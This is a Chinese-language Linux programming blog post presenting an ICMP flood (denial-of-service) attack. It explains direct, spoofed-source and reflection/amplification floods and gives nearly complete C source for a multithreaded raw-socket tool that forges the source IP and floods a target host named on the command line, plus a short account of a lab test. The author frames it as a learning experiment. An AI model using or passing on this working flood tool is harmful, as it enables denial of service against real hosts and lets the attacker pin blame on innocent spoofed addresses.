Linux編程之ICMP洪水攻擊

個人上一篇文章《Linux編程之PING的實現》裏使用ICMP協議實現了PING的程序,ICMP除了實現這麼一個PING程序,還有哪些鮮爲人知或者好玩的用途?這裏我將介紹ICMP另外一個頗有名的黑科技:ICMP洪水攻擊。
 
ICMP洪水攻擊屬於大名鼎鼎的DOS(Denial of Service)攻擊的一種,一種是黑客們喜歡的攻擊手段,這裏本着加深本身對ICMP的理解的目的,也試着基於ICMP寫一段ICMP的洪水攻擊小程序。
 
洪水攻擊(FLOOD ATTACK)指的是利用計算機網絡技術向目的主機發送大量無用數據報文,使得目的主機忙於處理無用的數據報文而沒法提供正常服務的網絡行爲。
ICMP洪水攻擊:顧名思義,就是對目的主機發送洪水般的ping包,使得目的主機忙於處理ping包而無能力處理其餘正常請求,這就好像是洪水通常的ping包把目的主機給淹沒了。
 
要實現ICMP的洪水攻擊,須要如下三項的知識儲備:
  • DOS攻擊原理
  • ICMP的深刻理解
  • 原始套接字的編程技巧

1、ICMP洪水攻擊原理
ICMP洪水攻擊是在ping的基礎上造成的,可是ping程序不多能形成目的及宕機的問題,這是由於ping的發送包的速率太慢了,像我實現的PING程序裏ping包發送速率限定在1秒1發,這個速率目的主機處理ping包仍是綽綽有餘的。因此要形成「洪水」的現象,就必須提高發包速率。這裏介紹三種ICMP洪水攻擊的方式:
 
(1)直接洪水攻擊
這樣作須要本地主機的帶寬和目的主機的帶寬之間進行比拼,好比個人主機網絡帶寬是30M的,而你的主機網絡帶寬僅爲3M,那我發起洪水攻擊淹沒你的主機成功率就很大了。這種攻擊方式要求攻擊主機處理能力和帶寬要大於被攻擊主機,不然自身被DoS了。基於這種思想,咱們可使用一臺高帶寬高性能的電腦,採用多線程的方法一次性發送多個ICMP請求報文,讓目的主機忙於處理大量這些報文而形成速度緩慢甚至宕機。這個方法有個大缺點,就是對方能夠根據ICMP包的IP地址而屏蔽掉攻擊源,使得攻擊不能繼續。
 
(2)僞IP攻擊
在直接洪水攻擊的基礎上,咱們將發送方的IP地址假裝成其餘IP,若是是假裝成一個隨機的IP,那就能夠很好地隱藏本身的位置;若是將本身的IP假裝成其餘受害者的IP,就會形成「唆使離間」的情形,受害主機1的icmp回覆包也如洪水般發送給受害主機2,若是主機1的管理員要查是哪一個混蛋發包攻擊本身,他一查ICMP包的源地址,咦原來是主機2,這樣子主機2就成了戴罪羔羊了。
 
(3)反射攻擊
這類攻擊的思想不一樣於上面兩種攻擊,反射攻擊的設計更爲巧妙。其實這裏的方式三的攻擊模式是前兩個模式的合併版以及升級版,方式三的攻擊策略有點像「借刀殺人「,反射攻擊再也不直接對目標主機,而是讓其餘一羣主機誤覺得目標主機在向他們發送ICMP請求包,而後一羣主機向目的主機發送ICMP應答包,形成來自四面八方的洪水淹沒目的主機的現象。好比咱們向局域網的其餘主機發送ICMP請求包,而後本身的IP地址假裝成目的主機的IP,這樣子目的主機就成了ICMP回顯的焦點了。這種攻擊很是隱蔽,由於受害主機很難查出攻擊源是誰。
 
 
2、ICMP洪水攻擊程序設計
這裏我想實現一個ICMP洪水攻擊的例子,這裏我想採用方式二來進行設計。雖然說方式三的「借刀殺人」更爲巧妙,其實也是由方式二的假裝方式進一步延伸的,實現起來也是大同小異。
 
首先給出攻擊的模型圖:
 
1.組ICMP包
這裏的組包跟編寫PING程序時的組包沒太大差異,惟一須要注意的是,咱們須要填寫IP頭部分,由於咱們要假裝源地址,作到嫁禍於人。
void DoS_icmp_pack(char* packet)
{
    struct ip* ip_hdr = (struct ip*)packet;
    struct icmp* icmp_hdr = (struct icmp*)(packet + sizeof(struct ip));

    ip_hdr->ip_v = 4;
    ip_hdr->ip_hl = 5;
    ip_hdr->ip_tos = 0;
    ip_hdr->ip_len = htons(ICMP_PACKET_SIZE);
    ip_hdr->ip_id = htons(getpid());
    ip_hdr->ip_off = 0;
    ip_hdr->ip_ttl = 64;
    ip_hdr->ip_p = PROTO_ICMP;
    ip_hdr->ip_sum = 0;
    ip_hdr->ip_src.s_addr = inet_addr(FAKE_IP);; //假裝源地址
    ip_hdr->ip_dst.s_addr = dest;  //填入要攻擊的目的主機地址

    icmp_hdr->icmp_type = ICMP_ECHO;
    icmp_hdr->icmp_code = 0;
    icmp_hdr->icmp_cksum = htons(~(ICMP_ECHO << 8));//注意這裏,由於數據部分爲0,咱們就簡化了一下checksum的計算了
}

 

2.搭建發包線程編程

void Dos_Attack()
{
    char* packet = (char*)malloc(ICMP_PACKET_SIZE);
    memset(packet, 0, ICMP_PACKET_SIZE);
    struct sockaddr_in to;
    DoS_icmp_pack(packet);

    to.sin_family = AF_INET;
    to.sin_addr.s_addr = dest;
    to.sin_port = htons(0);

    while(alive)  //控制發包的全局變量
    {
        sendto(rawsock, packet, ICMP_PACKET_SIZE, 0, (struct sockaddr*)&to, sizeof(struct sockaddr));        
    }

    free(packet);  //記得要釋放內存
}

 

3.編寫發包開關
這裏的開關很簡單,用信號量+全局變量便可以實現。當咱們按下ctrl+c時,攻擊將關閉。
void Dos_Sig()
{
    alive = 0;
    printf("stop DoS Attack!\n");
}

 

4.總的架構
咱們使用了64個線程一塊兒發包,固然這個線程數還能夠大大增長,來增長攻擊強度。但咱們只是作作實驗,不必搞那麼大。
int main(int argc, char* argv[])
{
    struct hostent* host = NULL;
    struct protoent* protocol = NULL;
    int i;
    alive = 1;
    pthread_t attack_thread[THREAD_MAX_NUM];  //開64個線程同時發包    
    int err = 0;

    if(argc < 2)
    {
        printf("Invalid input!\n");
        return -1;
    }

    signal(SIGINT, Dos_Sig);

    protocol = getprotobyname(PROTO_NAME);
    if(protocol == NULL)
    {
        printf("Fail to getprotobyname!\n");
        return -1;
    }

    PROTO_ICMP = protocol->p_proto;

    dest = inet_addr(argv[1]);

    if(dest == INADDR_NONE)
    {
        host = gethostbyname(argv[1]);
        if(host == NULL)
        {
            printf("Invalid IP or Domain name!\n");
            return -1;
        }
        memcpy((char*)&dest, host->h_addr, host->h_length);

    }

    rawsock = socket(AF_INET, SOCK_RAW, PROTO_ICMP);
    if(rawsock < 0)
    {
        printf("Fait to create socket!\n");
        return -1;
    }

    setsockopt(rawsock, SOL_IP, IP_HDRINCL, "1", sizeof("1"));

    printf("ICMP FLOOD ATTACK START\n");

    for(i=0;i<THREAD_MAX_NUM;i++)
    {
        err = pthread_create(&(attack_thread[i]), NULL, (void*)Dos_Attack, NULL);
        if(err)
        {
            printf("Fail to create thread, err %d, thread id : %d\n",err, attack_thread[i]);            
        }
    }

    for(i=0;i<THREAD_MAX_NUM;i++)
    {
        pthread_join(attack_thread[i], NULL);   //等待線程結束
    }

    printf("ICMP ATTACK FINISHI!\n");

    close(rawsock);

    return 0;
}

 

 

3、實驗
本次實驗本着學習的目的,想利用本身手上的設備,想進一步理解網絡和協議的應用,因此攻擊的幅度比較小,時間也就幾秒,不對任何設備形成影響。
 
再說一下咱們的攻擊步驟:咱們使用主機172.0.5.183做爲本身的攻擊主機,並將本身假裝成主機172.0.5.182,對主機172.0.5.9發起ICMP洪水攻擊。
 
攻擊開始
 
咱們觀察一下」受害者「那邊的狀況。在短短5秒裏,正確收到並交付上層處理的包也高達7萬多個了。我也不敢多搞事,避免影響機器工做。
 
使用wireshark抓包再瞧一瞧,滿滿的ICMP包啊,看來量也是很大的。ICMP包的源地址顯示爲172.0.5.182(咱們假裝的地址),它也把echo reply回給了172.0.5.182。主機172.0.5.182確定會想,莫名其妙啊,怎麼收到這麼多echo reply包。
 
攻擊實驗作完了。
 
 
如今更爲流行的是DDOS攻擊,其威力更爲強悍,策略更爲精巧,防護難度也更加高。
其實,這種DDoS攻擊也是在DOS的基礎上發起的,具體步驟以下:
 
    1. 攻擊者向「放大網絡」廣播echo request報文
    2. 攻擊者指定廣播報文的源IP爲被攻擊主機
    3. 「放大網絡」回覆echo reply給被攻擊主機
    4. 造成DDoS攻擊場景
 
這裏的「放大網絡」能夠理解爲具備不少主機的網絡,這些主機的操做系統須要支持對目的地址爲廣播地址的某種ICMP請求數據包進行響應。
 
攻擊策略很精妙,簡而言之,就是將源地址假裝成攻擊主機的IP,而後發廣播的給全部主機,主機們收到該echo request後集體向攻擊主機回包,形成羣起而攻之的情景。
相關文章
相關標籤/搜索